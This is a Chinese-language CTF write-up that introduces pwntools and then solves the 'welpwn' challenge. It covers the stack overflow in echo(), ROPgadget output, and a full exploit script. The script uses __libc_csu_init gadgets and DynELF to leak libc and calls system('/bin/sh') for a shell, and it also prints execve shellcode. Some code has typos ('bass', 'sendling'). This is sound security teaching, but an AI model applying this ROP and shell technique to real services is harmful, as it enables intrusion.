- Author:ZERO-A-ONE
- Date:2021-06-24
一、深入理解pwntools的使用
1.1 pwntools常用模块
- asm:汇编与反汇编
- dynelf:远程符号泄露
- elf:elf文件操作
- gdb:启动gdb调试
- shellcraft:shellcode的生成器
- cyclic pattern:偏移字符计算
- process/remote:读写接口
1.2 汇编与反汇编
将汇编指令转为机器码
>>> asm('nop')
'\x90'
将机器码转为汇编指令
>>> print disasm('90'.decode('hex'))
0: 90 nop
1.3 ELF文件操作
>>> elf = ELF('/bin/cat')
[*] '/bin/cat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
>>> print hex(elf.bass())
0xb260
>>> print hex(elf.plt['write'])
0x2090
>>> print hex(elf.symbols['write'])
0x2090
>>> print hex(elf.got['write'])
0xb048
>>>
1.4 shellcode生成器
>>> print shellcraft.linux.sh()
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
>>>
1.5 读写接口
远程读写接口
>>> re = remote("127.0.0.1",21)
[+] Opening connection to 127.0.0.1 on port 21:Done
打印收到的信息
>>> print re.recvline()
220 (vsFTPd 3.0.3)
本地IO接口
>>> p = process('/bin/sh')
[+] Strating local process '/bin/sh': pid 1223
>>> p.sendling('ifconfig')
>>> p.recvline()
'eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1454\n'
二、welpwn
2.1 ROP的利用方式
由于NX开启不能再栈上执行shellcode,我们可以在栈上布置一系列的返回地址与参数,这样可以进行多次的函数调用,通过函数尾部的ret语句控制程序的流程,而用程序中的一些pop/ret的代码块(称之为gadget)来平衡堆栈
2.2 64位参数传递与32位的不同
- 32位函数调用参数从右向左放入栈中
- 64位函数调用:
- 当参数少于7个时,参数从左到右放入寄存器:rdi, rsi, rdx, rcx, r8, r9
- 当参数为7个以上时,前6个与前面一样,但后面的依次从“右向左”放入栈中,即和32位汇编一样
2.3 welpwn详解
2.3.1 file查看文件
└─[$] file welpwn [15:32:23]
welpwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a48a707a640bf53d6533992e6d8cd9f6da87f258, not stripped
2.3.2 checksec查看保护机制
└─[$] checksec welpwn [15:32:33]
[*] '/home/syc/example/welpwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
2.3.3 IDA分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-400h]
alarm(0xAu);
write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start);
read(0, &buf, 0x400uLL);
echo(&buf, &buf);
return 0;
}
read()
读取一个1024个字节的数据,调用echo()
查看echo
函数
int __fastcall echo(__int64 a1)
{
char s2[16]; // [rsp+10h] [rbp-10h]
for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}
echo
函数中存在循环赋值,循环的次数为read
函数读的数据的长度
for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
查看echo
函数栈帧大小为20h
push rbp
mov rbp, rsp
sub rsp, 20h
由于echo
函数的栈帧大小(20h)远小于read
函数可以读取的数据长度(400h),在进行循环赋值的时候,echo
函数保存在栈中的返回地址会被覆盖
2.3.4 利用思路
main
函数中,用户可以输入1024个字节,并通过echo
函数将输入复制到自身栈空间,但该栈空间很小,使得栈溢出成为可能。由于复制过程中,以x00
作为字符串终止符,故如果我们的payload中存在这个字符,则不会复制成功。我们需要构造ROP链,这样肯定会在payload中包含x00
字符
绕过障碍:
echo
的栈帧只有20h,也就是32字节,4个pop gadget的大小,因为参数存储在寄存器里,所以实际buf和s2在存储空间里相邻,buf是属于主函数栈帧,s2属于echo栈帧,pop32字节,相当于把栈顶移到了主函数的栈中,调用存在主函数的ROP链
2.3.5 整合思路,编写EXP
寻找pop4
ROP
└─[$] ROPgadget --binary welpwn --only "pop|ret" [15:45:33]
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400675 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400589 : ret
0x00000000004006a5 : ret 0xc148
0x000000000040081a : ret 0xfffd
Unique gadgets found: 13
2.3.6 payload详解
泄露libc信息
def leak(address):
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(pop6address) + p64(0) + p64(1) + p64(writegot) + p64(8) + p64(address)
payload += p64(movcalladdress)
payload += "A" * 56
payload += p64(startAddress)
payload = payload.ljust(1024,"C")
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
dynelf = DynELF(leak,elf=ELF("./welpwn"))
首先根据缓冲区大小
char s2[16]; // [rsp+10h] [rbp-10h]
然后部署覆盖字节
payload = "A" * 24
然后清空R12,R13,R14,R15字节,一共32字节
payload += p64(popr12r13r14r15)
然后部署栈,利用gadget填充寄存器
.text:000000000040089A pop rbx
.text:000000000040089B pop rbp
.text:000000000040089C pop r12
.text:000000000040089E pop r13
.text:00000000004008A0 pop r14
.text:00000000004008A2 pop r15
.text:00000000004008A4 retn
payload += p64(pop6address) + p64(0) + p64(1) + p64(writegot) + p64(8) + p64(address)
实现write(1,address,8)
p64(movcalladdress)
.text:0000000000400880 loc_400880: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400880 mov rdx, r13
.text:0000000000400883 mov rsi, r14
.text:0000000000400886 mov edi, r15d
.text:0000000000400889 call qword ptr [r12+rbx*8]
.text:000000000040088D add rbx, 1
.text:0000000000400891 cmp rbx, rbp
.text:0000000000400894 jnz short loc_400880
rdx => 8
rsi => address
edi => 1
add rbx,1 => 1
cmp rbx,rdp
cmp 1,1
覆盖返回地址为startaddress
payload += "A" * 56
payload += p64(startAddress)
补齐1024
payload = payload.ljust(1024,"C")
调用dynelf泄露libc
dynelf = DynELF(leak,elf=ELF("./welpwn"))
调用system("/bin/sh")
systemAddress = dynelf.lookup("system","libc")
print hex(systemAddress)
bssAddress = 0x601070
poprdi = 0x4008a3
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(address)
payload += p64(movcalladdress)
payload += "A" * 56
payload += p64(poprdi)
payload += p64(bssAddress)
payload += p64(systemAddress)
payload = payload.ljust(1024,"C")
p.send(payload)
p.send("/bin/sh\x00")
p.interactive()
实现调用read(0,bassaddr,8)
payload += p64(movcalladdress)
实现调用system(bssaddr)
payload += "A" * 56
payload += p64(poprdi)
payload += p64(bssAddress)
payload += p64(systemAddress)